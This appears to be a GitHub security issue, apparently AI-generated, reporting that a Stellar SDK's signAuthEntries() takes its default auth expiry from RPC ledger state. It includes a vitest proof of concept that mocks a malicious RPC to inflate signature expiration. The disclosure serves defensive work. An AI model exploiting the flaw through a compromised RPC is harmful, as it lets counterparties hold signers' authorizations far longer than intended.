Skip to content

[AI Security] Medium: signAuthEntries() trusts RPC ledger state for default auth expiry #1363

@sagpatil

Description

@sagpatil

Security Finding: signAuthEntries() trusts RPC ledger state for default auth expiry

Subsystem: rpc
Severity: Medium
Model Attribution: claude-sonnet-4.6, default


Impact

A malicious RPC can stretch a supposedly short-lived delegated Soroban authorization into a much longer-lived one-time capability than the signer intended.

Root Cause

contract.AssembledTransaction.signAuthEntries() defaults expiration to
(await this.server.getLatestLedger()).sequence + 100, then passes that value
straight into authorizeEntry(...).

That means unsigned RPC ledger state is not just read or displayed: it is
embedded into the signed signatureExpirationLedger field of the auth-entry
preimage. The SDK therefore lets the configured RPC choose the default lifetime
of a non-invoker signature.

Attack Vector

In the documented multi-party signing flow, a non-invoker signer deserializes an
AssembledTransaction on their own machine and calls signAuthEntries().

If that signing environment uses a compromised RPC server, or an HTTP RPC that
can be modified in transit, getLatestLedger() can report an inflated sequence
such as 4_000_000_000. The signer then produces an auth entry whose
signatureExpirationLedger is also near that far-future value, even though the
SDK documents the default as "about 8.3 minutes from now."

The resulting auth entry is still bound to the specific invocation and nonce, so
this is not arbitrary auth injection. The security issue is that the counterparty
can hold and submit that one authorized invocation far later than the signer was
led to expect.

PoC Summary

The PoC constructs an AssembledTransaction containing an unsigned non-invoker
Soroban auth entry for Bob, injects a mocked RPC Server, and calls
signAuthEntries() without an explicit expiration.

When the mocked RPC reports sequence: 4_000_000_000, the signed auth entry's
signatureExpirationLedger becomes 4_000_000_100. With a legitimate server
reporting 1_000_000, the same path yields 1_000_100. This shows the SDK is
signing an RPC-chosen expiry rather than a locally bounded default.

PoC Code

// PoC: Auth expiration derived from untrusted RPC getLatestLedger()
// Hypothesis: H049 - signAuthEntries() trusts RPC ledger sequence for auth expiry
// Severity: High
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
import { StellarSdk } from "../test-utils/stellar-sdk-import";

const {
  Account,
  Keypair,
  Operation,
  TransactionBuilder,
  TimeoutInfinite,
  contract,
  SorobanDataBuilder,
  xdr,
  Address,
  Networks,
} = StellarSdk;
const { Server } = StellarSdk.rpc;

describe("Security PoC - H049: Auth expiration trusts RPC ledger", () => {
  const contractId = "CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD2KM";
  const networkPassphrase = "Standalone Network ; February 2017";

  const aliceKeypair = Keypair.random();
  const bobKeypair = Keypair.random();

  function buildTxWithUnsignedAuth() {
    const source = new Account(aliceKeypair.publicKey(), "100");

    const unsignedAuthEntry = new xdr.SorobanAuthorizationEntry({
      credentials: xdr.SorobanCredentials.sorobanCredentialsAddress(
        new xdr.SorobanAddressCredentials({
          address: Address.fromString(bobKeypair.publicKey()).toScAddress(),
          nonce: new xdr.Int64(12345),
          signatureExpirationLedger: 0,
          signature: xdr.ScVal.scvVoid(), // unsigned
        }),
      ),
      rootInvocation: new xdr.SorobanAuthorizedInvocation({
        subInvocations: [],
        function:
          xdr.SorobanAuthorizedFunction.sorobanAuthorizedFunctionTypeContractFn(
            new xdr.InvokeContractArgs({
              contractAddress: Address.fromString(contractId).toScAddress(),
              functionName: "transfer",
              args: [],
            }),
          ),
      }),
    });

    const tx = new TransactionBuilder(source, {
      fee: "100",
      networkPassphrase,
    })
      .setTimeout(TimeoutInfinite)
      .addOperation(
        Operation.invokeContractFunction({
          contract: contractId,
          function: "transfer",
          args: [],
          auth: [unsignedAuthEntry],
        }),
      )
      .build();

    return { tx, unsignedAuthEntry };
  }

  function createAssembledTx(tx: any, unsignedAuthEntry: any, server: any) {
    const simulationResult = {
      auth: [unsignedAuthEntry.toXDR("base64")],
      retval: xdr.ScVal.scvVoid().toXDR("base64"),
    };
    const simulationTransactionData = new SorobanDataBuilder()
      .build()
      .toXDR("base64");

    const bobWallet = contract.basicNodeSigner(bobKeypair, networkPassphrase);

    return contract.AssembledTransaction.fromJSON(
      {
        contractId,
        networkPassphrase,
        rpcUrl: "https://rpc.example.com",
        method: "transfer",
        publicKey: bobKeypair.publicKey(),
        ...bobWallet,
        parseResultXdr: (result: any) => result,
        server,
      },
      {
        tx: tx.toEnvelope().toXDR("base64"),
        simulationResult,
        simulationTransactionData,
      },
    );
  }

  it("should demonstrate that a malicious RPC can set auth expiration far into the future", async () => {
    const { tx, unsignedAuthEntry } = buildTxWithUnsignedAuth();

    const MALICIOUS_LEDGER_SEQUENCE = 4_000_000_000;
    const maliciousServer = new Server("https://rpc.example.com", { allowHttp: true });
    vi.spyOn(maliciousServer, "getLatestLedger").mockResolvedValue({
      id: "fake",
      sequence: MALICIOUS_LEDGER_SEQUENCE,
      protocolVersion: 22,
    } as any);

    const assembled = createAssembledTx(tx, unsignedAuthEntry, maliciousServer);

    await assembled.signAuthEntries();

    const signedAuth = (assembled.built! as any).operations[0].auth[0];
    const creds = signedAuth.credentials().address();
    const signedExpiration = creds.signatureExpirationLedger();

    // VULNERABILITY: expiration is attacker-controlled value + 100 (~2000+ years)
    expect(signedExpiration).toBe(MALICIOUS_LEDGER_SEQUENCE + 100);
    expect(signedExpiration).toBeGreaterThan(1_000_000 * 100);
    expect(creds.signature().switch().name).not.toBe("scvVoid");
  });

  it("should show the contrast with a legitimate RPC server", async () => {
    const { tx, unsignedAuthEntry } = buildTxWithUnsignedAuth();

    const LEGITIMATE_LEDGER_SEQUENCE = 1_000_000;
    const legitimateServer = new Server("https://rpc.example.com", { allowHttp: true });
    vi.spyOn(legitimateServer, "getLatestLedger").mockResolvedValue({
      id: "real",
      sequence: LEGITIMATE_LEDGER_SEQUENCE,
      protocolVersion: 22,
    } as any);

    const assembled = createAssembledTx(tx, unsignedAuthEntry, legitimateServer);
    await assembled.signAuthEntries();

    const legitimateExpiration = (assembled.built! as any).operations[0].auth[0]
      .credentials().address().signatureExpirationLedger();

    expect(legitimateExpiration).toBe(LEGITIMATE_LEDGER_SEQUENCE + 100);
    expect(legitimateExpiration).toBeLessThan(2_000_000);

    // Attacker case side-by-side
    const { tx: tx2, unsignedAuthEntry: auth2 } = buildTxWithUnsignedAuth();
    const MALICIOUS_LEDGER_SEQUENCE = 4_000_000_000;
    const maliciousServer = new Server("https://rpc.example.com", { allowHttp: true });
    vi.spyOn(maliciousServer, "getLatestLedger").mockResolvedValue({
      id: "fake",
      sequence: MALICIOUS_LEDGER_SEQUENCE,
      protocolVersion: 22,
    } as any);

    const assembled2 = createAssembledTx(tx2, auth2, maliciousServer);
    await assembled2.signAuthEntries();

    const maliciousExpiration = (assembled2.built! as any).operations[0].auth[0]
      .credentials().address().signatureExpirationLedger();

    const amplificationFactor = maliciousExpiration / legitimateExpiration;
    expect(amplificationFactor).toBeGreaterThan(3000);
  });
});

Recommendation

Do not derive the default auth-entry expiry from unauthenticated RPC ledger state.

The safest fix is to require callers to pass an explicit expiration when using
signAuthEntries(), or to gate the current behavior behind an opt-in helper that
clearly states the RPC server is choosing the expiry. At minimum, the docs should
stop describing the default as a local "about 8.3 minutes from now" convenience
and instead warn that the value is sourced from getLatestLedger().


This issue was generated by an AI security analysis pipeline.

Metadata

Metadata

Assignees

No one assigned

    Labels

    ai-generatedGenerated by AI security analysis pipelinesecuritySecurity vulnerability or concern

    Type

    No type

    Projects

    Status

    Backlog (Not Ready)

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions